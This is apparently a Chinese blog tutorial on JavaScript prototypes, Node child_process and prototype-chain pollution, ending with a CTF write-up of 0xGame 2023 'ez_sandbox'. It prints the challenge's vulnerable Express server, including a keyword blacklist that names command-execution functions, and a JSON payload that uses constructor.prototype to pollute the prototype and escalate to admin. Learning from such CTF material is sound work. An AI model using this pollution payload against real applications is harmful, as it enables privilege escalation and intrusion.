文章目录
- 前置知识
- JavaScript数据类型
- prototype原型
- 同步和异步
- child_process模块
- 原型链污染
- 利用条件
- 实例
前置知识
JavaScript数据类型
let和var关键字的区别
使用var或let关键字可以定义变量
let和var的区别如下:
- var是全局作用域,let 只在当前代码块内有效
- 当在代码块外访问let声明的变量时会报错
- var有变量提升,let没有变量提升
- let必须先声明再使用,否则报Uncaught ReferenceError xxx is not defined;var可以在声明前访问,只是会报undefined
- let变量不能重复声明,var变量可以重复声明
普通变量
var a=1;
let b=2;
数组变量
var a = new Array();
var b= [];
字典
var a = {};
var b= {"foo":"bar"};
prototype原型
JavaScript只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为
__proto__
)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__
),层层向上知道一个对象的原型对象为null。
实例图
我们编写代码测试下
源码
function Son(){};
var son = new Son();
console.log(Son.prototype)
console.log(son.__proto__)
console.log(Son.prototype == son.__proto__)
不难发现Son.prototype == son.__proto__
是成立的
然后再了解下继承
原型是继承的基础,JavaScript中原型链可以通过prototype这个属性来实现继承机制
实例代码
function Father(){this.first_name = 'Donald'this.last_name = 'Trump'
}
function Son(){this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
这里的Son继承了Father类,在调用son.last_name
时,首先在son对象里找,如果没有找到,就会在son.__proto__
(也就是Son.prototype),找不到就再往上son.__proto__.__proto__
里找 ,知道null为止
同步和异步
Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的
fs.readFileSync()。异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。
很简单理解,当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
就比如,涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数如execSync
child_process模块
child_process提供了几种创建子进程的方式
异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。
其中的一些函数,在一些情况下,可以导致命令执行漏洞
原型链污染
下面用代码解释下
let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)
可以发现当我们修改foo的原型时,由于查找顺序的原因,foo.bar仍为1;如果我们重新创建空对象,发现成功进行原型链污染
利用条件
原型链污染在哪些情况下可以实现呢,其实找找能够控制数组(对象)的“键名”的操作即可
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
比如merge函数
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
添加如下代码测试
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
可以发现合并虽然成功了,但原型链没有被污染
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__
并不是一个key,自然也不会修改Object的原型。
绕过方法很简单,修改代码如下
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
实例
[0xGame 2023]week2 ez_sandbox
源码如下
const crypto = require('crypto')
const vm = require('vm');const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')var app = express()app.use(bodyParser.json())
app.use(session({secret: crypto.randomBytes(64).toString('hex'),resave: false,saveUninitialized: true
}))var users = {}
var admins = {}function merge(target, source) {for (let key in source) {if (key === '__proto__') {continue}if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}return target
}function clone(source) {return merge({}, source)
}function waf(code) {let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']for (let v of blacklist) {if (code.includes(v)) {throw new Error(v + ' is banned')}}
}function requireLogin(req, res, next) {if (!req.session.user) {res.redirect('/login')} else {next()}
}app.use(function(req, res, next) {for (let key in Object.prototype) {delete Object.prototype[key]}next()
})app.get('/', requireLogin, function(req, res) {res.sendFile(__dirname + '/public/index.html')
})app.get('/login', function(req, res) {res.sendFile(__dirname + '/public/login.html')
})app.get('/register', function(req, res) {res.sendFile(__dirname + '/public/register.html')
})app.post('/login', function(req, res) {let { username, password } = clone(req.body)if (username in users && password === users[username]) {req.session.user = usernameif (username in admins) {req.session.role = 'admin'} else {req.session.role = 'guest'}res.send({'message': 'login success'})} else {res.send({'message': 'login failed'})}
})app.post('/register', function(req, res) {let { username, password } = clone(req.body)if (username in users) {res.send({'message': 'register failed'})} else {users[username] = passwordres.send({'message': 'register success'})}
})app.get('/profile', requireLogin, function(req, res) {res.send({'user': req.session.user,'role': req.session.role})
})app.post('/sandbox', requireLogin, function(req, res) {if (req.session.role === 'admin') {let code = req.body.codelet sandbox = Object.create(null)let context = vm.createContext(sandbox)try {waf(code)let result = vm.runInContext(code, context)res.send({'result': result})} catch (e) {res.send({'result': e.message})}} else {res.send({'result': 'Your role is not admin, so you can not run any code'})}
})app.get('/logout', requireLogin, function(req, res) {req.session.destroy()res.redirect('/login')
})app.listen(3000, function() {console.log('server start listening on :3000')
})
可以知道源码有merge函数,可以造成原型链污染。这里过滤了__proto__
,那么我们用constructor.prototype
绕过;登陆成功条件为username in users
我们先注册⼀个 test 用户, 在登录时 POST 如下内容, 污染 admins 对象, 使得 username in admins 表达式的结果为True
{"username": "test","password": "test""constructor": {"prototype": {"test": "123"}}
}
先bp抓包发送
然后输入test,test
登陆成功